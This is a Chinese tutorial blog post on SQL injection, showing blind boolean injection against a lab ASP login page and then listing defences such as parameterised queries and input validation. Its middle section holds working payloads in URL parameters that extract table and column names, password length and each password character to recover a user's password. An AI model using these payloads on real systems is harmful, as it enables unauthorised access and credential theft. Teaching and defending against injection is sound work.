SQL注入实例猜密码

sql注入实例分析

什么是SQL注入攻击？引用百度百科的解释：

sql注入_百度百科：

所谓SQL注入，就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串，最终达到欺骗服务器执行恶意的SQL命令。具体来说，它是利用现有应用程序，将（恶意）的SQL命令注入到后台数据库引擎执行的能力，它可以通过在Web表单中输入（恶意）SQL语句得到一个存在安全漏洞的网站上的数据库，而不是按照设计者意图去执行SQL语句。[1]  比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的，这类表单特别容易受到SQL注入式攻击．

SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序，而这些输入大都是SQL语法里的一些组合，通过执行SQL语句进而执行攻击者所要的操作，其主要原因是程序没有细致地过滤用户输入的数据，致使非法数据侵入系统。

详细步骤：（相关文件下载在最后）

1.针对给出的WEB系统运行AspWebServer

2.进入登录页面进行SQL注入漏洞测试

正常登录：

用户名：admin 密码：admin

SQL注入漏洞测试:

在正常用户名admin后增加一个单引号，单击"登录"

或在URL地址栏直接输入http://172.18.3.13:81/login.asp?name=admin'&pass=admin

若出错，证明没有对'进行过滤，存在SQL注入漏洞

在正常用户名admin后增加一个单引号，单击"登录"

出错

在URL地址栏直接输入http://172.18.3.13:81/login.asp?name=admin'&pass=admin

登录出错

登录出错，证明存在SQL注入漏洞。

3.SQL注入攻击

构造可以正常运行的目标地址

输入http://172.18.3.13:81/login.asp?name=admin &pass=admin' and '1=1

原SQL语句为SELECT * FROM data Where uname='admin'，条件未变，但接收密码为admin' and '1=1

登录失败

输入http://172.18.3.13:81/login.asp?pass=admin&name=admin' and 1=1 and 'a'='a

原SQL语句为SELECT * FROM data Where uname='admin' and 1=1 and 'a'='a'

登录成功

可以正常运行的目标地址已经构造成功，此时可将1＝1部分用SQL查询语句替代，依次对数据库表名、表中字段名、用户和密码长度、用户和密码进行测试

4. 猜解数据库表名

http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (select count(*) from data)>0 and 'a'='a

成功，说明数据表名确为data；若不成功，则可反复测试，直至成功猜出表名

5. 猜解数据库字段名

http://172.18.3.13:81/login.asp?pass=admin&name=admin'and (select count(uname) from data)>0 and 'a'='a

若用户名字段确为uname，则提示登录成功

同理可猜出密码字段为upass

猜测用户名字段为name，登录出错

猜测用户名字段为uname，登录成功

说明数据库中用户名字段为uname

猜测密码字段为upass，登录成功

说明数据库中密码字段为upass

6．猜解密码长度

已知有一用户名为"wucm"，首先猜其密码长度大于1

http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (Select count(*) from data where uname='wucm' and len(upass)>1)>0 and 'a'='a

成功，说明用户"wucm"的密码大于1， 继续猜测密码长度小于10

http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (Select count(*) from data where uname='wucm' and len(upass)<10)>0 and 'a'='a

成功，说明"wucm"的密码长度小于10位，继续猜测其密码长度小于5

http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (Select count(*) from data where uname='wucm' and len(upass)<5)>0 and 'a'='a

出错，说明"wucm"的密码长度大于5位，继续猜测其密码长度大于8位

http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (Select count(*) from data where uname='wucm' and len(upass)>8)>0 and 'a'='a

出错，说明"wucm"的密码长度小于8位，继续猜测其密码长度等于6位

http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (Select count(*) from data where uname='wucm' and len(upass)=6)>0 and 'a'='a

成功，说明"wucm"的密码长度为6位

7.猜解密码

根据前面的测试我们已经知道该用户的密码长度位6位，接下来对密码进行逐位猜测：

首先测试第一位是否为数字

http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (Select count(*) from data where uname='wucm' and mid(upass,1,1)<'9')>0 and 'a'='a

出错，说明密码第一位不是数字， 测试是否位字母

http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (Select count(*) from data where uname='wucm' and mid(upass,1,1)>'a')>0 and 'a'='a

成功，基本说明密码第一位是字母， 接下来重复测试，不断缩小字母范围，最后确定密码第一位为字母"w"

http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (Select count(*) from data where uname='wucm' and mid(upass,1,1)='w')>0 and 'a'='a

成功，说明密码第一位位"w"

同理对6位密码逐位进行猜测，最后得到密码为"wcm987"

至此我们就猜测出用户"wucm"的密码为"wcm987"，进行登陆测试：

登录成功，证明整个猜测过程和最后得出的密码都是正确的

防范SQL注入攻击的方法：

既然SQL注入式攻击的危害这么大，那么该如何来防治呢?下面这些建议或许对数据库管理员防治SQL注入式攻击有一定的帮助。

　　1、 普通用户与系统管理员用户的权限要有严格的区分。

　　如果一个普通用户在使用查询语句中嵌入另一个Drop Table语句，那么是否允许执行呢?由于Drop语句关系到数据库的基本对象，故要操作这个语句用户必须有相关的权限。在权限设计中，对于终端用户，即应用软件的使用者，没有必要给他们数据库对象的建立、删除等权限。那么即使在他们使用SQL语句中带有嵌入式的恶意代码，由于其用户权限的限制，这些代码也将无法被执行。故应用程序在设计的时候，最好把系统管理员的用户与普通用户区分开来。如此可以最大限度的减少注入式攻击对数据库带来的危害。

　　2、 强迫使用参数化语句。

　　如果在编写SQL语句的时候，用户输入的变量不是直接嵌入到SQL语句。而是通过参数来传递这个变量的话，那么就可以有效的防治SQL注入式攻击。也就是说，用户的输入绝对不能够直接被嵌入到SQL语句中。与此相反，用户的输入的内容必须进行过滤，或者使用参数化的语句来传递用户输入的变量。参数化的语句使用参数而不是将用户输入变量嵌入到SQL语句中。采用这种措施，可以杜绝大部分的SQL注入式攻击。不过可惜的是，现在支持参数化语句的数据库引擎并不多。不过数据库工程师在开发产品的时候要尽量采用参数化语句。

3、 加强对用户输入的验证。

　　总体来说，防治SQL注入式攻击可以采用两种方法，一是加强对用户输入内容的检查与验证;二是强迫使用参数化语句来传递用户输入的内容。在SQLServer数据库中，有比较多的用户输入内容验证工具，可以帮助管理员来对付SQL注入式攻击。测试字符串变量的内容，只接受所需的值。拒绝包含二进制数据、转义序列和注释字符的输入内容。这有助于防止脚本注入，防止某些缓冲区溢出攻击。测试用户输入内容的大小和数据类型，强制执行适当的限制与转换。这即有助于防止有意造成的缓冲区溢出，对于防治注入式攻击有比较明显的效果。

　　如可以使用存储过程来验证用户的输入。利用存储过程可以实现对用户输入变量的过滤，如拒绝一些特殊的符号。如以上那个恶意代码中，只要存储过程把那个分号过滤掉，那么这个恶意代码也就没有用武之地了。在执行SQL语句之前，可以通过数据库的存储过程，来拒绝接纳一些特殊的符号。在不影响数据库应用的前提下，应该让数据库拒绝包含以下字符的输入。如分号分隔符，它是SQL注入式攻击的主要帮凶。如注释分隔符。注释只有在数据设计的时候用的到。一般用户的查询语句中没有必要注释的内容，故可以直接把他拒绝掉，通常情况下这么做不会发生意外损失。把以上这些特殊符号拒绝掉，那么即使在SQL语句中嵌入了恶意代码，他们也将毫无作为。

　　故始终通过测试类型、长度、格式和范围来验证用户输入，过滤用户输入的内容。这是防止SQL注入式攻击的常见并且行之有效的措施。

实例：JSP使用过滤器防止SQL注入

　　4、 多多使用SQL Server数据库自带的安全参数。

　　为了减少注入式攻击对于SQL Server数据库的不良影响，在SQLServer数据库专门设计了相对安全的SQL参数。在数据库设计过程中，工程师要尽量采用这些参数来杜绝恶意的SQL注入式攻击。

　　如在SQL Server数据库中提供了Parameters集合。这个集合提供了类型检查和长度验证的功能。如果管理员采用了Parameters这个集合的话，则用户输入的内容将被视为字符值而不是可执行代码。即使用户输入的内容中含有可执行代码，则数据库也会过滤掉。因为此时数据库只把它当作普通的字符来处理。使用Parameters集合的另外一个优点是可以强制执行类型和长度检查，范围以外的值将触发异常。如果用户输入的值不符合指定的类型与长度约束，就会发生异常，并报告给管理员。如上面这个案例中，如果员工编号定义的数据类型为字符串型，长度为10个字符。而用户输入的内容虽然也是字符类型的数据，但是其长度达到了20个字符。则此时就会引发异常，因为用户输入的内容长度超过了数据库字段长度的限制。

　　5、 多层环境如何防治SQL注入式攻击?

　　在多层应用环境中，用户输入的所有数据都应该在验证之后才能被允许进入到可信区域。未通过验证过程的数据应被数据库拒绝，并向上一层返回一个错误信息。实现多层验证。对无目的的恶意用户采取的预防措施，对坚定的攻击者可能无效。更好的做法是在用户界面和所有跨信任边界的后续点上验证输入。如在客户端应用程序中验证数据可以防止简单的脚本注入。但是，如果下一层认为其输入已通过验证，则任何可以绕过客户端的恶意用户就可以不受限制地访问系统。故对于多层应用环境，在防止注入式攻击的时候，需要各层一起努力，在客户端与数据库端都要采用相应的措施来防治SQL语句的注入式攻击。

　　6、 必要的情况下使用专业的漏洞扫描工具来寻找可能被攻击的点。

　　使用专业的漏洞扫描工具，可以帮助管理员来寻找可能被SQL注入式攻击的点。不过漏洞扫描工具只能发现攻击点，而不能够主动起到防御SQL注入攻击的作用。当然这个工具也经常被攻击者拿来使用。如攻击者可以利用这个工具自动搜索攻击目标并实施攻击。为此在必要的情况下，企业应当投资于一些专业的漏洞扫描工具。一个完善的漏洞扫描程序不同于网络扫描程序，它专门查找数据库中的SQL注入式漏洞。最新的漏洞扫描程序可以查找最新发现的漏洞。所以凭借专业的工具，可以帮助管理员发现SQL注入式漏洞，并提醒管理员采取积极的措施来预防SQL注入式攻击。如果攻击者能够发现的SQL注入式漏洞数据库管理员都发现了并采取了积极的措施堵住漏洞，那么攻击者也就无从下手了。

7、设置陷阱账号：

设置两个帐号，一个是普通管理员帐号，一个是防注入的帐号。将防注入的账号设置的很象管理员，如 admin，以制造假象吸引软件的检测，而密码是大于千字以上的中文字符，迫使软件分析账号的时候进入全负荷状态甚至资源耗尽而死机。

攻击与防御一直是对立存在的两面，有新的攻击方式就会有更好的防护方法！在计算机网络方面两者更是通过长期竞争实现共同的进步；任何系统都不是完美的，既然我们不能开发出绝对安全的系统，那我们就要时刻防范各种可能的攻击。出现漏洞及时修复，这样才能保证我们系统的安全与稳定！

 https://www.cnblogs.com/leftshine/articles/SQLInjection.html

本文用到的文件下载：sql注入实例分析.rar

附送一个动画教程：SQLInjection.rar